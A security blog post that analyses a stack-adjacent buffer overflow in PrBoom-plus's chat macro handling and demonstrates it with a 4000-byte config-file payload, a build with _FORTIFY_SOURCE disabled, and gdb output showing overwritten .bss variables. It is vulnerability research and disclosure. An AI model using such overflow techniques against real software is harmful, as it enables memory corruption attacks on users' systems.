[EN] A-Z: PrBoom-plus (part II) and message_nottobefuckedwith

As in the previous post, I was digging in PrBoom-plus’s code. When I was going through hu_stuff.c these two variables caught my eye:

189  dboolean           message_dontfuckwithme;
190  static dboolean    message_nottobefuckedwith;

It’s always funny to find such names in source code. It was even better when I found out that it’s part of original Doom’s code. So I took a challange I tried to have some fun with it.

chat macro buffer overflow

I looked at code in m_misc.c responsible for parsing a configuration file. I noticed that chat macro variables are accepted with quite large length limit (excatly 31988 bytes).

706    {"Chat macros",{NULL},{0},UL,UL,def_none,ss_none},
707    {"chatmacro0", {0,&chat_macros[0]}, {0,HUSTR_CHATMACRO0},UL,UL,
708     def_str,ss_chat}, // chat string associated with 0 key
[...]
1415  #define CFG_BUFFERMAX 32000
[...]
1500    f = fopen (defaultfile, "r");
[...]
1507        fgets(cfgline, CFG_BUFFERMAX, f);
1508        if (sscanf (cfgline, "%79s %[^\n]\n", def, strparm) == 2)

These macros may be used during the game by starting chat (by pressing t) and then selecting a specific macro with a key combination alt + macro number. Code responsible for handling this situation is in hu_stuff.c

2820      if (altdown)
2821      {
2822        c = c - '0';
2823        if (c > 9)
2824          return false;
2825        macromessage = chat_macros[c];
2826  
2827        // kill last message with a '\n'
2828          HU_queueChatChar((char)key_enter); // DEBUG!!!                // phares
2829  
2830        // send the macro message
2831        while (*macromessage)
2832          HU_queueChatChar(*macromessage++);
2833        HU_queueChatChar((char)key_enter);                            // phares
2834  
2835        // leave chat mode and notify that it was sent
2836        chat_on = false;
2837        strcpy(lastmessage, chat_macros[c]);
2838        plr->message = lastmessage;
2839        eatkey = true;
2840      }

Macro message is retrieved from the array at line 2825, lines 2827 - 2833 are responsible for preparing the text to be displayed. Then, at line 2837 the text (which has no length boundaries) is copied to lastmessage variable. This buffer has fixed size, 81 bytes.

hu_lib.h:

51  #define HU_MAXLINELENGTH  80

hu_stuff.c:

2722    static char   lastmessage[HU_MAXLINELENGTH+1];

Summarizing, we have control over chat_macros value, which may have up to 31988 bytes read from configuration file. Then, these bytes are copied the lastmessage for which only 81 bytes are allocated - this is typical buffer overflow. As uninitialized global and static variables reside in a .bss segment, I hoped that I will be able use this overflow to overwrite them.

I prepared a configuration file with a payload (0x61 is a):

# python -c 'print "chatmacro0 \"" + "\x61" * 4000 + "\""' > test.cfg
# cat test.cfg
chatmacro0 "aaaaaaaaaaaaaaaaaaaaa[...]

I compiled the game with additional compiler flag -D_FORTIFY_SOURCE=0 which disables a modern protection against buffer overflow exploitation. Then I started the server and the first client.

root@ubuntu16:~/projects/prboom-plus/prboom2/bin/games# ./prboom-plus-game-server 
Listening on port 5030, waiting for 2 players
root@ubuntu16:~/projects/prboom-plus/prboom2/bin/games# ./prboom-plus -iwad /root/projects/prboom-plus/freedm-0.11.3/freedm.wad -net 127.0.0.1 -window -nomouse

The second client I ran using gdb,

root@ubuntu16:~/projects/prboom-plus/prboom2/bin/games# gdb --args ./prboom-plus -iwad /root/projects/prboom-plus/freedm-0.11.3/freedm.wad -net 127.0.0.1 -window -nomouse -config /root/projects/prboom-plus/test.cfg

and set up a breakpoint on vulnerable line (strcpy invocation).

(gdb) break hu_stuff.c:2837
Breakpoint 1 at 0x80a00ce: file hu_stuff.c, line 2837.
(gdb) c
Continuing.

In the game I used my macro (by pressing t and alt + 0), and the breakpoint was hit.

Thread 1 "prboom-plus" hit Breakpoint 1, HU_Responder (ev=0xbf836cd4) at hu_stuff.c:2837
2837        strcpy(lastmessage, chat_macros[c]);

Memory before triggering vulnerablity:

(gdb) x/4x &message_nottobefuckedwith 
0x817d568 <message_nottobefuckedwith>:  0x00000000  0x00000000  0x00000000  0x00000000

just one step calling strcpy,

(gdb) n
2838        plr->message = lastmessage;

and the result shows how I fucked with DOOM and its message_nottobefuckedwith:

(gdb) x/4x &message_nottobefuckedwith 
0x817d568 <message_nottobefuckedwith>:  0x61616161  0x61616161  0x61616161  0x61616161
Written on October 7, 2019 by Michał Dardas